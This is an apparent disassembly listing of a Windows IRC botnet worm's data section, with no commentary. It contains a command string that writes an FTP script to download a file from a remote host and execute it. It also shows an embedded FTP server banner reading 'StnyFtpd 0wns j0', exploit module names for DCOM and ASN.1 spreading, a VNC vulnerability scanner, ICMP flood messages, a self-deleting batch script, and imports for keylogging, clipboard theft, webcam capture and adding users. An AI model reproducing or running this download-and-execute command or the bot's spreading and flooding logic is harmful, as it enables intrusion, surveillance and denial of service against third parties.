2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 10h aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_4027C1+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 aVncD_DSSVulner db 'VNC %d.%d %s: %s - [VuLnErAbLe]',0 ; DATA XREF: .packed:00402BEBo aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: .packed:00402A78o align 4 word_41DE64 dw 1 ; DATA XREF: .packed:004029EFr align 4 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_402C55+5A3o aQuit db 'QUIT',0 ; DATA XREF: sub_402C55+58Fo ; sub_40997B+519o align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_402C55+582o align 10h dword_41DEB0 dd 32310302h, 3531035Bh, 3707446h, 0F5D3231h, 35310320h ; DATA XREF: sub_402C55+543o dd 4E774F20h, 3204465h, 73253231h, 0 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_402C55+531o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_402C55+509o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_402C55+4F1o align 10h a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_402C55+4E1o align 10h aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_402C55+4D0o aXX db '%x%x',0Ah,0 ; DATA XREF: sub_402C55+49Do align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_402C55+456o db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_402C55+41Do align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_402C55+3EFo align 4 aList db 'LIST',0 ; DATA XREF: sub_402C55+3DCo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_402C55+3A1o align 10h aPasv db 'PASV',0 ; DATA XREF: sub_402C55+38Eo align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_402C55+37Eo aI: ; DATA XREF: sub_402C55+36Ao unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_402C55+343o aA_0: ; DATA XREF: sub_402C55+32Fo unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_402C55+318o ; sub_402C55+353o align 10h a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_402C55+308o align 10h off_41E030 dd offset dword_445750 ; DATA XREF: sub_402C55+2F4o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_402C55+2E4o align 4 aRest db 'REST',0 ; DATA XREF: sub_402C55+2D0o align 10h a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_402C55+2C0o align 10h aSyst db 'SYST',0 ; DATA XREF: sub_402C55+2ACo align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_402C55+29Co align 10h aPass db 'PASS',0 ; DATA XREF: sub_402C55+288o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_402C55+278o align 10h aUser db 'USER',0 ; DATA XREF: sub_402C55+263o align 4 aSS db '%s %s',0 ; DATA XREF: sub_402C55+252o align 10h a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_402C55+1CAo align 4 aRb db 'rb',0 ; DATA XREF: sub_4032AB+2Ao align 10h aDcom135 db 'dcom135',0 ; DATA XREF: sub_4037AE+169o dd 63440000h, 33316D6Fh, 35h, 5 dup(0) dword_41E0F8 dd 87h ; DATA XREF: sub_403372+1Er ; sub_40997B+2346r ... off_41E0FC dd offset sub_4014EF ; DATA XREF: sub_4037AE+1EAr dword_41E100 dd 0 ; DATA XREF: sub_4014EF+28Cw ; sub_4014EF+292r ... dword_41E104 dd 1 ; DATA XREF: sub_4034A7+1Er aAsn445 db 'asn445',0 align 10h dd 73610000h, 6D73316Eh, 62h, 5 dup(0) dd 1BDh, 402202h, 0 dd 1, 316E7361h, 3933h, 73610000h, 6D73316Eh, 746E62h dd 5 dup(0) dd 8Bh, 402202h, 0 dd 1, 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 4029E5h, 2 dup(0) aN00b_0 db 'n00b',0 align 4 dd 79730000h, 6Dh, 6 dup(0) dd 0B97h, 4028AFh, 0 dd 1, 0Eh dup(0) dword_41E220 dd 32310320h, 61746F54h, 3203A6Ch, 64253531h, 0 ; DATA XREF: sub_403372+75o dword_41E234 dd 32310320h, 203A7325h, 25353103h, 2C64h ; DATA XREF: sub_403372+42o dword_41E244 dd 32310302h, 3531035Bh, 6E616353h, 5D323103h, 3531030Fh ; DATA XREF: sub_403372+11o dd 70784520h, 74696F6Ch, 61745320h, 74736974h, 20736369h dd 2D323103h, 3 unk_41E274 db 2 ; DATA XREF: sub_403430+42o db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 53h ; S db 63h, 61h, 6Eh db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h a5ScanNotActive db '5 Scan Not Active.',0 align 4 dword_41E29C dd 32310302h, 3531035Bh, 6E616353h, 5D323103h, 3103200Fh ; DATA XREF: sub_403430+2Co dd 75432035h, 6E657272h, 50492074h, 3103203Ah, 2E732532h dd 0 dword_41E2C8 dd 32310302h, 3531035Bh, 3707446h, 0F5D3231h, 35310320h ; DATA XREF: sub_4034A7+168o dd 69614620h, 2064656Ch, 73206F74h, 74726174h, 72657320h dd 2C726576h, 72726520h, 203A726Fh, 25323103h, 2E64h dword_41E304 dd 32310302h, 3531035Bh, 3707446h, 0F5D3231h, 35310320h ; DATA XREF: sub_4034A7+F8o dd 72655320h, 20726576h, 72617473h, 20646574h, 50206E6Fh dd 3A74726Fh, 32310320h, 202C6425h, 46353103h, 3A656C69h dd 32310320h, 202C7325h, 52353103h, 65757165h, 203A7473h dd 25323103h, 2E73h dword_41E35C dd 252E6425h, 64252E64h, 64252Eh ; DATA XREF: sub_403675+38o ; sub_404F3A+46o ... dword_41E368 dd 32310302h, 3531035Bh, 6E616353h, 5D323103h, 3103200Fh ; DATA XREF: sub_4037AE+EEo dd 50492035h, 3103203Ah, 2C732532h, 35310320h, 74726F50h dd 32310320h, 3206425h, 73693531h, 65706F20h, 2E6Eh dword_41E3A4 dd 32310302h, 3531035Bh, 6E616353h, 5D323103h, 3103200Fh ; DATA XREF: sub_4037AE+93o dd 3A504935h, 32310320h, 253A7325h, 3202C64h, 63533531h dd 74206E61h, 61657268h, 3203A64h, 64253231h, 3103202Ch dd 62755335h, 7268742Dh, 3A646165h, 32310320h, 2E6425h unk_41E3F4 db 2 ; DATA XREF: sub_4039C6+1CEo db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 53h ; S db 63h, 61h, 6Eh db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h db 35h ; 5 db 46h, 69h, 6Eh db 69h ; i db 73h, 68h, 65h db 64h ; d db 20h, 61h, 74h db 20h db 3, 31h, 32h db 25h ; % db 73h, 3Ah, 25h db 64h ; d db 20h, 3, 31h db 35h ; 5 db 61h, 66h, 74h db 65h ; e db 72h, 20h, 3 db 31h ; 1 db 32h, 25h, 64h db 20h db 3, 31h, 35h aMinuteSOfScann db 'minute(s) of scanning.',0 align 4 dword_41E448 dd 32310302h, 3531035Bh, 6E616353h, 5D323103h, 3103200Fh ; DATA XREF: sub_4039C6+173o dd 69614635h, 2064656Ch, 73206F74h, 74726174h, 726F7720h dd 2072656Bh, 65726874h, 202C6461h, 6F727265h, 3203A72h dd 64253231h, 2Eh dword_41E48C dd 32310302h, 3531035Bh, 6E616353h, 5D323103h, 3103200Fh ; DATA XREF: sub_4039C6+103o dd 3A732535h, 202C6425h, 53323103h, 206E6163h, 65726874h dd 203A6461h, 25353103h, 3202C64h, 75533231h, 68742D62h dd 64616572h, 3103203Ah, 2E642535h, 0 unk_41E4D8 db 2 ; DATA XREF: sub_4039C6+87o db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 53h ; S db 63h, 61h, 6Eh db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h a5failedToIniti db '5Failed To Initialize Critical Section.',0 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_403C25+C50o align 10h aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_403C25+C48o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_403C25:loc_404860o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_403C25+BE6o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_403C25+BD9o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_403C25+BCCo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_403C25+BBFo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_403C25+BB2o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_403C25+BAAo align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_403C25:loc_4047C2o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_403C25+B68o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_403C25+B60o align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_403C25:loc_404778o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403C25+B0Eo align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403C25+B01o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_403C25+AF4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_403C25+AECo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_403C25:loc_404704o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_403C25+AAAo align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_403C25+AA2o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_403C25:loc_4046BAo align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_403C25+A60o align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_403C25+A58o align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_403C25:loc_404670o align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_403C25+9CEo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_403C25+9C1o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_403C25+9B4o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_403C25+9A7o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_403C25+99Ao align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_403C25+98Do align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_403C25+980o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403C25+973o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_403C25+966o align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_403C25+959o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_403C25+951o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_403C25:loc_404565o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_403C25+903o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_403C25+8F6o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_403C25+8EEo align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_403C25:loc_404506o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_403C25+8B4o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_403C25+842o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_403C25+835o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_403C25+828o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_403C25+81Bo align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_403C25+80Eo align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_403C25+801o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_403C25+7F4o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_403C25+7E7o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_403C25+7DAo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_403C25+7D2o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_403C25:loc_4043E6o aClosesocket db 'closesocket',0 ; DATA XREF: sub_403C25+688o aGetpeername db 'getpeername',0 ; DATA XREF: sub_403C25+67Bo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_403C25+66Eo align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_403C25+661o align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_403C25+654o aGetsockname db 'getsockname',0 ; DATA XREF: sub_403C25+647o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_403C25+63Ao align 4 aAccept db 'accept',0 ; DATA XREF: sub_403C25+62Do align 4 aListen db 'listen',0 ; DATA XREF: sub_403C25+620o align 4 aSelect db 'select',0 ; DATA XREF: sub_403C25+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_403C25+60Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_403C25+5F9o align 4 aRecv db 'recv',0 ; DATA XREF: sub_403C25+5ECo align 10h aSendto db 'sendto',0 ; DATA XREF: sub_403C25+5DFo align 4 aSend db 'send',0 ; DATA XREF: sub_403C25+5D2o align 10h aNtohl db 'ntohl',0 ; DATA XREF: sub_403C25+5C5o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_403C25+5B8o align 10h aHtonl db 'htonl',0 ; DATA XREF: sub_403C25+5ABo align 4 aHtons db 'htons',0 ; DATA XREF: sub_403C25+59Eo align 10h aInet_addr db 'inet_addr',0 ; DATA XREF: sub_403C25+591o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_403C25+584o align 4 aConnect db 'connect',0 ; DATA XREF: sub_403C25+577o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_403C25+56Ao aSocket db 'socket',0 ; DATA XREF: sub_403C25+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_403C25+550o align 10h aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_403C25+543o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_403C25+536o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_403C25+529o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_403C25+51Co align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_403C25+50Fo align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_403C25+507o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_403C25+4F6o align 10h aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_403C25+483o align 10h aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_403C25+476o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_403C25+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_403C25+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_403C25+44Fo align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_403C25+442o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_403C25+435o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_403C25+428o align 10h aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_403C25+420o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_403C25:loc_404034o align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_403C25:loc_40400Co align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_403C25+38Fo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_403C25+382o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_403C25+375o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_403C25+368o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_403C25+35Bo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_403C25+34Eo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_403C25+341o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_403C25:loc_403F5Eo align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_403C25+309o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_403C25+2FCo align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_403C25:loc_403F19o align 10h aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_403C25+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_403C25+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_403C25+292o align 10h aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_403C25+285o align 10h aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_403C25+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_403C25+270o align 10h aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_403C25:loc_403E84o align 10h aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_403C25+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_403C25+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_403C25+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_403C25:loc_403E1Do align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_403C25+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_403C25+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_403C25+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_403C25+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_403C25+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_403C25+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_403C25+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_403C25+14Ao align 10h aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_403C25:loc_403D5Ao ; sub_418081+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_403C25:loc_403D2Do align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_403C25+A0o align 10h aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_403C25+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_403C25+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_403C25+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_403C25+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_403C25+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_403C25+52o align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_403C25+45o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_403C25+38o align 10h aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_403C25+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_403C25+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_403C25+Ao align 4 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_404B10+72o align 10h aMirc db 'mIRC',0 ; DATA XREF: sub_404B9A+5o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_404C1C+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_404CC0+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_404CE2+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_404CE2+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_404CE2+48o align 4 a_: ; DATA XREF: sub_404E6A+33o unicode 0, <.>,0 a2: ; DATA XREF: sub_404FE0+35o ; sub_40997B+4000o ... unicode 0, <2>,0 aSfc_os_dll db 'sfc_os.dll',0 ; DATA XREF: sub_40502F+24o align 4 dword_41EE98 dd 5B323103h, 50353103h, 68637461h, 31037265h, 200F5D32h ; DATA XREF: sub_405076+318o dd 54353103h, 70497063h, 58694620h, 216465h unk_41EEBC db 3 ; DATA XREF: sub_405076+113o db 31h, 32h, 5Bh db 3 db 31h, 35h, 50h db 61h ; a db 74h, 63h, 68h db 65h ; e db 72h, 3, 31h db 32h ; 2 db 5Dh, 0Fh, 20h db 3 a15canNotFixTcp db '15CaN NoT FiX TcpIp',0 align 4 aRB db 'r+b',0 ; DATA XREF: sub_405076+FFo dword_41EEEC dd 5 ; DATA XREF: sub_405076+69o dword_41EEF0 dd 0FCh ; DATA XREF: sub_405076+62o dword_41EEF4 dd 43h ; DATA XREF: sub_405076+5Bo dword_41EEF8 dd 6 ; DATA XREF: sub_405076+45o dword_41EEFC dd 16h ; DATA XREF: sub_405076+3Eo dword_41EF00 dd 4Ch ; DATA XREF: sub_405076+37o ; .packed:0040E07Co dword_41EF04 dd 3 ; DATA XREF: sub_405076+24o dword_41EF08 dd 0E8h ; DATA XREF: sub_405076+1Eo dword_41EF0C dd 20646425h, 20686425h, 6D6425h ; DATA XREF: sub_4053E4+52o ; .packed:0040E0AEo dword_41EF18 dd 32310302h, 3531035Bh, 49737953h, 36F666Eh, 0F5D3231h ; DATA XREF: sub_405503+22Do dd 32310320h, 3531035Bh, 3757043h, 205D3231h, 25353103h dd 75343649h, 2E7A484Dh, 32310320h, 3531035Bh, 3103734Fh dd 3205D32h, 69573531h, 776F646Eh, 73252073h, 64252820h dd 2C64252Eh, 69754220h, 2520646Ch, 202E2964h, 5B323103h dd 53353103h, 69447379h, 32310372h, 3103205Dh, 2E732535h dd 32310320h, 3531035Bh, 74736F48h, 656D614Eh, 5D323103h dd 35310320h, 28207325h, 2E297325h, 32310320h, 3531035Bh dd 72727543h, 20746E65h, 72657355h, 5D323103h, 35310320h dd 202E7325h, 5B323103h, 44353103h, 3657461h, 205D3231h dd 25353103h, 3202E73h, 35B3231h, 69543531h, 3103656Dh dd 3205D32h, 73253531h, 3103202Eh, 31035B32h, 74705535h dd 3656D69h, 205D3231h, 25353103h, 2E73h dword_41F018 dd 6D3A4848h, 73733A6Dh, 0 ; DATA XREF: sub_405503+1AFo dword_41F024 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_405503+193o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_405503:loc_405668o align 4 word_41F048 dw 3Fh ; DATA XREF: sub_405503:loc_405604r align 4 dword_41F04C dd 28207325h, 297325h ; DATA XREF: sub_405503+EAo dword_41F054 dd 3F3F3Fh ; DATA XREF: sub_405503:loc_4055C5o a2003 db '2003',0 ; DATA XREF: sub_405503+B9o align 10h aXp db 'XP',0 ; DATA XREF: sub_405503+A9o ; .packed:0040DFB5o align 4 a2k db '2K',0 ; DATA XREF: sub_405503+97o ; .packed:0040DFA5o align 4 aMe db 'ME',0 ; DATA XREF: sub_405503+7Do ; .packed:0040DF8Co align 4 a98 db '98',0 ; DATA XREF: sub_405503+6Bo ; .packed:0040DF7Co align 10h aNt db 'NT',0 ; DATA XREF: sub_405503+59o ; .packed:0040DF6Do align 4 a95 db '95',0 ; DATA XREF: sub_405503+45o ; .packed:0040DF5Fo align 4 dword_41F078 dd 32310302h, 31035B2Eh, 74654E35h, 6F666E49h, 5D323103h ; DATA XREF: sub_40574C+A4o dd 35B202Eh, 79543531h, 31036570h, 3205D32h, 73253531h dd 73252820h, 3202E29h, 35B3231h, 70493531h, 64644120h dd 73736572h, 5D323103h, 35310320h, 202E7325h, 5B323103h dd 48353103h, 4E74736Fh, 3656D61h, 205D3231h, 25353103h dd 2E73h off_41F0E0 dd offset loc_412F4E ; DATA XREF: sub_40574C:loc_4057B8o dword_41F0E4 dd 4E414Ch ; DATA XREF: sub_40574C:loc_4057AEo dword_41F0E8 dd 6C616944h, 70752Dh ; DATA XREF: sub_40574C+5Bo dword_41F0F0 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_40574C+48o dword_41F100 dd 5Ch ; DATA XREF: sub_40580B+44o dword_41F104 dd 32310302h, 3531035Bh, 706D6349h, 5D323103h, 3531030Fh ; DATA XREF: sub_4058B9+397o dd 6E6F6420h, 69772065h, 3206874h, 73253231h, 35310320h dd 6F6F6C66h, 6F742064h, 32310320h, 202E7325h, 73353103h dd 20746E65h, 25323103h, 31032064h, 63617035h, 7374656Bh dd 3204020h, 64253231h, 732F424Bh, 3206365h, 25283531h dd 29424D64h, 2Eh dword_41F170 dd 32310302h, 3531035Bh, 706D6349h, 5D323103h, 3531030Fh ; DATA XREF: sub_4058B9+307o dd 72726520h, 7320726Fh, 69646E65h, 7020676Eh, 656B6361h dd 74207374h, 3103206Fh, 2E732532h, 35310320h, 3206425h a12packetsSentR db '12packets sent, returned %d',0 unk_41F1C8 db 2 ; DATA XREF: sub_4058B9+12Ao db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 49h ; I db 63h, 6Dh, 70h db 3 db 31h, 32h, 5Dh db 0Fh db 3, 31h, 35h aInvalidTargetI db ' invalid target ip',0 align 10h 